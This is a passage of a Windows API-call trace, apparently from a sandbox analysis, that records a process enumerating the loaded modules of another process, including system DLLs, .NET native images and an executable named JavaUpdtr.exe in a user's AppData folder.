hModule=0x75430000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0116.566] GetLastError () returned 0x1e7 [0116.566] GetModuleInformation (in: hProcess=0x20c, hModule=0x749d0000, lpmodinfo=0x263867c, cb=0xc | out: lpmodinfo=0x263867c*(lpBaseOfDll=0x749d0000, SizeOfImage=0x5ab000, EntryPoint=0x74a23dc0)) returned 1 [0116.567] GetLastError () returned 0x1e7 [0116.567] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x749d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0116.567] GetLastError () returned 0x1e7 [0116.567] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x749d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0116.568] GetLastError () returned 0x1e7 [0116.568] GetModuleInformation (in: hProcess=0x20c, hModule=0x75390000, lpmodinfo=0x26397b4, cb=0xc | out: lpmodinfo=0x26397b4*(lpBaseOfDll=0x75390000, SizeOfImage=0x9b000, EntryPoint=0x7539232b)) returned 1 [0116.568] GetLastError () returned 0x1e7 [0116.568] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75390000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0116.569] GetLastError () returned 0x1e7 [0116.569] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75390000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0116.569] GetLastError () returned 0x1e7 [0116.569] GetModuleInformation (in: hProcess=0x20c, hModule=0x75f40000, lpmodinfo=0x263a948, cb=0xc | out: lpmodinfo=0x263a948*(lpBaseOfDll=0x75f40000, SizeOfImage=0xc4a000, EntryPoint=0x75fc1601)) returned 1 [0116.570] GetLastError () returned 0x1e7 [0116.570] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75f40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0116.570] GetLastError () returned 0x1e7 [0116.570] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75f40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0116.571] GetLastError () returned 0x1e7 [0116.571] GetModuleInformation (in: hProcess=0x20c, hModule=0x75770000, lpmodinfo=0x263ba44, cb=0xc | out: lpmodinfo=0x263ba44*(lpBaseOfDll=0x75770000, SizeOfImage=0x15c000, EntryPoint=0x757bba3d)) returned 1 [0116.571] GetLastError () returned 0x1e7 [0116.571] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75770000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0116.572] GetLastError () returned 0x1e7 [0116.572] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75770000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0116.572] GetLastError () returned 0x1e7 [0116.572] GetModuleInformation (in: hProcess=0x20c, hModule=0x75290000, lpmodinfo=0x263cb38, cb=0xc | out: lpmodinfo=0x263cb38*(lpBaseOfDll=0x75290000, SizeOfImage=0xb000, EntryPoint=0x75291992)) returned 1 [0116.574] GetLastError () returned 0x1e7 [0116.574] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75290000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0116.575] GetLastError () returned 0x1e7 [0116.575] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75290000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0116.575] GetLastError () returned 0x1e7 [0116.576] GetModuleInformation (in: hProcess=0x20c, hModule=0x72ac0000, lpmodinfo=0x263dc34, cb=0xc | out: lpmodinfo=0x263dc34*(lpBaseOfDll=0x72ac0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0116.576] GetLastError () returned 0x1e7 [0116.576] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x72ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0116.577] GetLastError () returned 0x1e7 [0116.577] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x72ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0116.577] GetLastError () returned 0x1e7 [0116.577] GetModuleInformation (in: hProcess=0x20c, hModule=0x75440000, lpmodinfo=0x263edcc, cb=0xc | out: lpmodinfo=0x263edcc*(lpBaseOfDll=0x75440000, SizeOfImage=0x80000, EntryPoint=0x754537c9)) returned 1 [0116.578] GetLastError () returned 0x1e7 [0116.578] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75440000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0116.578] GetLastError () returned 0x1e7 [0116.578] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75440000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0116.579] GetLastError () returned 0x1e7 [0116.579] GetModuleInformation (in: hProcess=0x20c, hModule=0x75230000, lpmodinfo=0x263fec8, cb=0xc | out: lpmodinfo=0x263fec8*(lpBaseOfDll=0x75230000, SizeOfImage=0x5b000, EntryPoint=0x75274d48)) returned 1 [0116.579] GetLastError () returned 0x1e7 [0116.579] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75230000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0116.580] GetLastError () returned 0x1e7 [0116.580] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75230000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0116.581] GetLastError () returned 0x1e7 [0116.581] GetModuleInformation (in: hProcess=0x20c, hModule=0x72320000, lpmodinfo=0x2641000, cb=0xc | out: lpmodinfo=0x2641000*(lpBaseOfDll=0x72320000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0116.581] GetLastError () returned 0x1e7 [0116.581] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x72320000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0116.582] GetLastError () returned 0x1e7 [0116.582] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x72320000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0116.582] GetLastError () returned 0x1e7 [0116.582] GetModuleInformation (in: hProcess=0x20c, hModule=0x750a0000, lpmodinfo=0x264218c, cb=0xc | out: lpmodinfo=0x264218c*(lpBaseOfDll=0x750a0000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0116.583] GetLastError () returned 0x1e7 [0116.583] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x750a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0116.584] GetLastError () returned 0x1e7 [0116.584] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x750a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0116.584] GetLastError () returned 0x1e7 [0116.584] GetModuleInformation (in: hProcess=0x20c, hModule=0x74830000, lpmodinfo=0x2643348, cb=0xc | out: lpmodinfo=0x2643348*(lpBaseOfDll=0x74830000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0116.585] GetLastError () returned 0x1e7 [0116.585] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x74830000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0116.585] GetLastError () returned 0x1e7 [0116.586] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x74830000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0116.586] GetLastError () returned 0x1e7 [0116.586] GetModuleInformation (in: hProcess=0x20c, hModule=0x746a0000, lpmodinfo=0x264452c, cb=0xc | out: lpmodinfo=0x264452c*(lpBaseOfDll=0x746a0000, SizeOfImage=0x190000, EntryPoint=0x7473d026)) returned 1 [0116.587] GetLastError () returned 0x1e7 [0116.587] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x746a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0116.587] GetLastError () returned 0x1e7 [0116.587] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x746a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0116.588] GetLastError () returned 0x1e7 [0116.588] GetModuleInformation (in: hProcess=0x20c, hModule=0x74fa0000, lpmodinfo=0x26456cc, cb=0xc | out: lpmodinfo=0x26456cc*(lpBaseOfDll=0x74fa0000, SizeOfImage=0xfb000, EntryPoint=0x74fb17e1)) returned 1 [0116.589] GetLastError () returned 0x1e7 [0116.589] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x74fa0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0116.589] GetLastError () returned 0x1e7 [0116.590] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x74fa0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0116.590] GetLastError () returned 0x1e7 [0116.590] GetModuleInformation (in: hProcess=0x20c, hModule=0x75700000, lpmodinfo=0x26468f0, cb=0xc | out: lpmodinfo=0x26468f0*(lpBaseOfDll=0x75700000, SizeOfImage=0x5000, EntryPoint=0x75701438)) returned 1 [0116.591] GetLastError () returned 0x1e7 [0116.591] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75700000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0116.591] GetLastError () returned 0x1e7 [0116.592] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75700000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0116.592] GetLastError () returned 0x1e7 [0116.592] CloseHandle (hObject=0x20c) returned 1 [0116.592] GetLastError () returned 0x1e7 [0116.595] EnumProcessModules (in: hProcess=0x20c, lphModule=0x273b2d0, cb=0x100, lpcbNeeded=0x31c9a8 | out: lphModule=0x273b2d0, lpcbNeeded=0x31c9a8) returned 1 [0116.596] GetLastError () returned 0x1e7 [0116.596] GetModuleInformation (in: hProcess=0x20c, hModule=0xd40000, lpmodinfo=0x273b410, cb=0xc | out: lpmodinfo=0x273b410*(lpBaseOfDll=0xd40000, SizeOfImage=0xb0000, EntryPoint=0xd91d7e)) returned 1 [0116.596] GetLastError () returned 0x1e7 [0116.596] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0xd40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="JavaUpdtr.exe") returned 0xd [0116.596] GetLastError () returned 0x1e7 [0116.596] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0xd40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\java\\javaupdtr.exe")) returned 0x40 [0116.597] GetLastError () returned 0x1e7 [0116.597] GetModuleInformation (in: hProcess=0x20c, hModule=0x77ac0000, lpmodinfo=0x273c574, cb=0xc | out: lpmodinfo=0x273c574*(lpBaseOfDll=0x77ac0000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0116.597] GetLastError () returned 0x1e7 [0116.597] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x77ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0116.597] GetLastError () returned 0x1e7 [0116.597] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x77ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0116.597] GetLastError () returned 0x1e7 [0116.597] GetModuleInformation (in: hProcess=0x20c, hModule=0x73cc0000, lpmodinfo=0x273d668, cb=0xc | out: lpmodinfo=0x273d668*(lpBaseOfDll=0x73cc0000, SizeOfImage=0x4a000, EntryPoint=0x73cc2e54)) returned 1 [0116.597] GetLastError () returned 0x1e7 [0116.597] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x73cc0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0116.597] GetLastError () returned 0x1e7 [0116.597] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x73cc0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0116.598] GetLastError () returned 0x1e7 [0116.598] GetModuleInformation (in: hProcess=0x20c, hModule=0x75930000, lpmodinfo=0x273e764, cb=0xc | out: lpmodinfo=0x273e764*(lpBaseOfDll=0x75930000, SizeOfImage=0x110000, EntryPoint=0x759432d3)) returned 1 [0116.598] GetLastError () returned 0x1e7 [0116.598] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75930000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0116.598] GetLastError () returned 0x1e7 [0116.598] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75930000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0116.598] GetLastError () returned 0x1e7 [0116.598] GetModuleInformation (in: hProcess=0x20c, hModule=0x77670000, lpmodinfo=0x273f868, cb=0xc | out: lpmodinfo=0x273f868*(lpBaseOfDll=0x77670000, SizeOfImage=0x46000, EntryPoint=0x77677478)) returned 1 [0116.598] GetLastError () returned 0x1e7 [0116.598] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x77670000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0116.599] GetLastError () returned 0x1e7 [0116.599] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x77670000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0116.599] GetLastError () returned 0x1e7 [0116.599] GetModuleInformation (in: hProcess=0x20c, hModule=0x75db0000, lpmodinfo=0x27409a4, cb=0xc | out: lpmodinfo=0x27409a4*(lpBaseOfDll=0x75db0000, SizeOfImage=0xa0000, EntryPoint=0x75dc49e5)) returned 1 [0116.599] GetLastError () returned 0x1e7 [0116.599] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75db0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0116.599] GetLastError () returned 0x1e7 [0116.599] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75db0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0116.599] GetLastError () returned 0x1e7 [0116.599] GetModuleInformation (in: hProcess=0x20c, hModule=0x76d40000, lpmodinfo=0x2741aa8, cb=0xc | out: lpmodinfo=0x2741aa8*(lpBaseOfDll=0x76d40000, SizeOfImage=0xac000, EntryPoint=0x76d4a472)) returned 1 [0116.600] GetLastError () returned 0x1e7 [0116.600] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76d40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0116.600] GetLastError () returned 0x1e7 [0116.600] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76d40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0116.600] GetLastError () returned 0x1e7 [0116.600] GetModuleInformation (in: hProcess=0x20c, hModule=0x76ec0000, lpmodinfo=0x2742ba4, cb=0xc | out: lpmodinfo=0x2742ba4*(lpBaseOfDll=0x76ec0000, SizeOfImage=0x19000, EntryPoint=0x76ec4975)) returned 1 [0116.600] GetLastError () returned 0x1e7 [0116.600] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76ec0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0116.601] GetLastError () returned 0x1e7 [0116.601] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76ec0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0116.601] GetLastError () returned 0x1e7 [0116.601] GetModuleInformation (in: hProcess=0x20c, hModule=0x75e50000, lpmodinfo=0x2743ca0, cb=0xc | out: lpmodinfo=0x2743ca0*(lpBaseOfDll=0x75e50000, SizeOfImage=0xf0000, EntryPoint=0x75e60569)) returned 1 [0116.601] GetLastError () returned 0x1e7 [0116.601] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75e50000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0116.601] GetLastError () returned 0x1e7 [0116.601] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75e50000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0116.602] GetLastError () returned 0x1e7 [0116.602] GetModuleInformation (in: hProcess=0x20c, hModule=0x75620000, lpmodinfo=0x2744dec, cb=0xc | out: lpmodinfo=0x2744dec*(lpBaseOfDll=0x75620000, SizeOfImage=0x60000, EntryPoint=0x7563a3b3)) returned 1 [0116.602] GetLastError () returned 0x1e7 [0116.602] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75620000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0116.602] GetLastError () returned 0x1e7 [0116.602] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75620000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0116.603] GetLastError () returned 0x1e7 [0116.603] GetModuleInformation (in: hProcess=0x20c, hModule=0x75610000, lpmodinfo=0x2745ee8, cb=0xc | out: lpmodinfo=0x2745ee8*(lpBaseOfDll=0x75610000, SizeOfImage=0xc000, EntryPoint=0x756110e1)) returned 1 [0116.603] GetLastError () returned 0x1e7 [0116.603] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75610000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0116.603] GetLastError () returned 0x1e7 [0116.603] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75610000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0116.603] GetLastError () returned 0x1e7 [0116.603] GetModuleInformation (in: hProcess=0x20c, hModule=0x737a0000, lpmodinfo=0x2746fec, cb=0xc | out: lpmodinfo=0x2746fec*(lpBaseOfDll=0x737a0000, SizeOfImage=0x78000, EntryPoint=0x737af7ba)) returned 1 [0116.604] GetLastError () returned 0x1e7 [0116.604] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x737a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0116.606] GetLastError () returned 0x1e7 [0116.606] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x737a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0116.606] GetLastError () returned 0x1e7 [0116.606] GetModuleInformation (in: hProcess=0x20c, hModule=0x75ba0000, lpmodinfo=0x2748124, cb=0xc | out: lpmodinfo=0x2748124*(lpBaseOfDll=0x75ba0000, SizeOfImage=0x57000, EntryPoint=0x75bb9ba6)) returned 1 [0116.606] GetLastError () returned 0x1e7 [0116.606] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75ba0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0116.607] GetLastError () returned 0x1e7 [0116.607] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75ba0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0116.607] GetLastError () returned 0x1e7 [0116.607] GetModuleInformation (in: hProcess=0x20c, hModule=0x75c40000, lpmodinfo=0x2749220, cb=0xc | out: lpmodinfo=0x2749220*(lpBaseOfDll=0x75c40000, SizeOfImage=0x90000, EntryPoint=0x75c56343)) returned 1 [0116.607] GetLastError () returned 0x1e7 [0116.607] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75c40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0116.608] GetLastError () returned 0x1e7 [0116.608] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75c40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0116.608] GetLastError () returned 0x1e7 [0116.608] GetModuleInformation (in: hProcess=0x20c, hModule=0x75a40000, lpmodinfo=0x274a314, cb=0xc | out: lpmodinfo=0x274a314*(lpBaseOfDll=0x75a40000, SizeOfImage=0x100000, EntryPoint=0x75a5b6ed)) returned 1 [0116.608] GetLastError () returned 0x1e7 [0116.608] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75a40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0116.609] GetLastError () returned 0x1e7 [0116.609] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75a40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0116.609] GetLastError () returned 0x1e7 [0116.609] GetModuleInformation (in: hProcess=0x20c, hModule=0x75c00000, lpmodinfo=0x274b410, cb=0xc | out: lpmodinfo=0x274b410*(lpBaseOfDll=0x75c00000, SizeOfImage=0xa000, EntryPoint=0x75c036a0)) returned 1 [0116.610] GetLastError () returned 0x1e7 [0116.610] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75c00000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0116.610] GetLastError () returned 0x1e7 [0116.610] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75c00000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0116.610] GetLastError () returned 0x1e7 [0116.610] GetModuleInformation (in: hProcess=0x20c, hModule=0x76ee0000, lpmodinfo=0x274c4fc, cb=0xc | out: lpmodinfo=0x274c4fc*(lpBaseOfDll=0x76ee0000, SizeOfImage=0x9d000, EntryPoint=0x76f13fd7)) returned 1 [0116.611] GetLastError () returned 0x1e7 [0116.611] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76ee0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0116.611] GetLastError () returned 0x1e7 [0116.611] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76ee0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0116.611] GetLastError () returned 0x1e7 [0116.611] GetModuleInformation (in: hProcess=0x20c, hModule=0x758d0000, lpmodinfo=0x274d680, cb=0xc | out: lpmodinfo=0x274d680*(lpBaseOfDll=0x758d0000, SizeOfImage=0x60000, EntryPoint=0x758e158f)) returned 1 [0116.612] GetLastError () returned 0x1e7 [0116.612] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x758d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0116.612] GetLastError () returned 0x1e7 [0116.612] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x758d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0116.613] GetLastError () returned 0x1e7 [0116.613] GetModuleInformation (in: hProcess=0x20c, hModule=0x76df0000, lpmodinfo=0x274e774, cb=0xc | out: lpmodinfo=0x274e774*(lpBaseOfDll=0x76df0000, SizeOfImage=0xcc000, EntryPoint=0x76df168b)) returned 1 [0116.613] GetLastError () returned 0x1e7 [0116.613] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76df0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0116.613] GetLastError () returned 0x1e7 [0116.613] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76df0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0116.614] GetLastError () returned 0x1e7 [0116.614] GetModuleInformation (in: hProcess=0x20c, hModule=0x75430000, lpmodinfo=0x274f868, cb=0xc | out: lpmodinfo=0x274f868*(lpBaseOfDll=0x75430000, SizeOfImage=0x9000, EntryPoint=0x75431220)) returned 1 [0116.614] GetLastError () returned 0x1e7 [0116.614] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75430000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0116.615] GetLastError () returned 0x1e7 [0116.615] 